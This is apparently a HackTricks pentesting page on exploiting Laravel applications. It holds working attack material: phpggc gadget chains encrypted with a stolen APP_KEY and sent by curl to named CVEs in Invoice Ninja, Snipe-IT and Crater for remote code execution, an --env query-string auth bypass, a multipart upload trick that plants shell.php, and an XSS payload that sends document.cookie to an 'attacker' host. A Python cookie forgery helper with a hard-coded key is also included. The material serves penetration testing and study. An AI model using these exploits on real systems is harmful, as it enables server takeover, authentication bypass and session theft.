Laravel

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Laravel SQLInjection

Read information about this here: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel >=5.6)

Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (Illuminate\Encryption\Encrypter). The raw ciphertext that is finally sent to the client is Base64 of a JSON object like:

{
  "iv"   : "Base64(random 16-byte IV)",
  "value": "Base64(ciphertext)",
  "mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
  "tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).

Minimal PoC (framework β‰₯9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject the produced string into any vulnerable decrypt() sink (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automates the whole process and adds a convenient bruteforce mode:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


Real-world vulnerable patterns

ProjectVulnerable sinkGadget chain
Invoice Ninja ≀v5 (CVE-2024-55555)/route/{hash} β†’ decrypt($hash)Laravel/RCE13
Snipe-IT ≀v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie β†’ laravel_session cookieLaravel/RCE15

The exploitation workflow is always:

  1. Obtain or brute-force the 32-byte APP_KEY.
  2. Build a gadget chain with PHPGGC (for example Laravel/RCE13, Laravel/RCE9 or Laravel/RCE15).
  3. Encrypt the serialized gadget with laravel_crypto_killer.py and the recovered APP_KEY.
  4. Deliver the ciphertext to the vulnerable decrypt() sink (route parameter, cookie, session …) to trigger RCE.

Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:

# Invoice Ninja ≀5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
  ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
  xargs -I% curl "https://victim/route/%"

# Snipe-IT ≀6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
  ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Because every fresh Laravel response sets at least 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts that can be attacked offline.

Key findings of the research published by Synacktiv (2024-2025):

  • Dataset July 2024 Β» 580 k tokens, 3.99 % keys cracked (β‰ˆ23 k)
  • Dataset May 2025 Β» 625 k tokens, 3.56 % keys cracked
  • 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

  • Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

CVE-2024-52301 – HTTP argv/env override β†’ auth bypass

When PHP’s register_argc_argv=On (typical on many distros), PHP exposes an argv array for HTTP requests derived from the query string. Recent Laravel versions parsed these β€œCLI-like” args and honored --env=<value> at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:

  • Quick check:

    • Visit https://target/?--env=local or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
  • Impact example (business logic trusting a special env):

    • If the app contains branches like if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to:
      • POST /login?--env=preprod
  • Notes:

    • Works per-request, no persistence.
    • Requires register_argc_argv=On and a vulnerable Laravel version that reads argv for HTTP.
    • Useful primitive to surface more verbose errors in β€œdebug” envs or to trigger environment-gated code paths.
  • Mitigations:

    • Disable register_argc_argv for PHP-FPM/Apache.
    • Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to app()->environment() in production routes.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Wildcard file validation bypass (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0 let crafted multipart requests completely skip any rule attached to files.* / images.*. The parser that expands wildcard keys could be confused with attacker-controlled placeholders (for example, pre-populating __asterisk__ segments), so the framework would hydrate UploadedFile objects without ever running image, mimes, dimensions, max, etc. Once a malicious blob lands in Storage::putFile* you can pivot to any of the file-upload primitives already listed in HackTricks (web shells, log poisoning, signed job deserialization, …).

Hunting for the pattern

  • Static: rg -n "files\\.\*" -g"*.php" app/ or inspect FormRequest classes for rules() returning arrays that contain files.*.
  • Dynamic: hook Illuminate\Validation\Validator::validate() via Xdebug or Laravel Telescope in pre-production to log every request that hits the vulnerable rule.
  • Middleware/route review: endpoints bundling multiple files (avatar importers, document portals, drag-n-drop components) tend to trust files.*.

Practical exploitation workflow

  1. Capture a legitimate upload and replay it in Burp Repeater.
  2. Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., files[0][__asterisk__payload]) or nest another array (files[0][alt][0]). On vulnerable builds, that second part never gets validated but still becomes an UploadedFile entry.
  3. Point the forged file to a PHP payload (shell.php, .phar, polyglot) and force the application to store it in a web-accessible disk (commonly public/ once php artisan storage:link is enabled).
curl -sk https://target/upload \
  -F 'files[0]=@ok.png;type=image/png' \
  -F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
  -F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Ecosystem package vulns worth chaining (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

If the project uses Auth0 login with the default CookieStore backend and auth0/auth0-php < 8.14.0, the GCM tag on the auth0 session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set "sub":"auth0|admin" and app_metadata.roles), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: composer.lock shows auth0/auth0-php <8.14.0 and .env has AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

The lomkit/laravel-rest-api package before 2.13.0 merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite filter rules during an update action), leading to mass assignment or unvalidated SQL-ish filters. Practical checks:

  • composer.lock lists lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== is accepted instead of rejected, showing filter validation was bypassed.

Laravel Tricks

Debugging mode

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Affected: Laravel 11.9.0–11.35.1 with APP_DEBUG=true (either globally or forced via misconfigured env overrides like CVE-2024-52301).
  • Primitive: every uncaught exception rendered by Whoops echoes parts of the request/route without HTML encoding, so injecting <img src> / <script> in a route or request parameter yields stored-on-response XSS before authentication.
  • Impact: steal XSRF-TOKEN, leak stack traces with secrets, open a browser-based pivot to hit _ignition/execute-solution in victim sessions, or chain with passwordless dashboards that rely on cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
    abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the _ignition/health-check endpoint often reveals staging hosts that still expose this chain.

Fingerprinting & exposed dev endpoints

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

  • /_ignition/health-check β†’ Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
  • /_debugbar β†’ Laravel Debugbar assets; often indicates debug mode.
  • /telescope β†’ Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
  • /horizon β†’ Queue dashboard; version disclosure and sometimes CSRF-protected actions.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called .env that can be accessed using some path traversal under: /../.env

Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it’s activated).

Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:

Decrypt/encrypt cookies helper (Python)
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = [len(key)]
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Here you can find information about the deserialization vulnerability here: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

You can test and exploit it using https://github.com/kozmic/laravel-poc-CVE-2018-15133
Or you can also exploit it with metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Another deserialization: https://github.com/ambionics/laravel-exploits

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks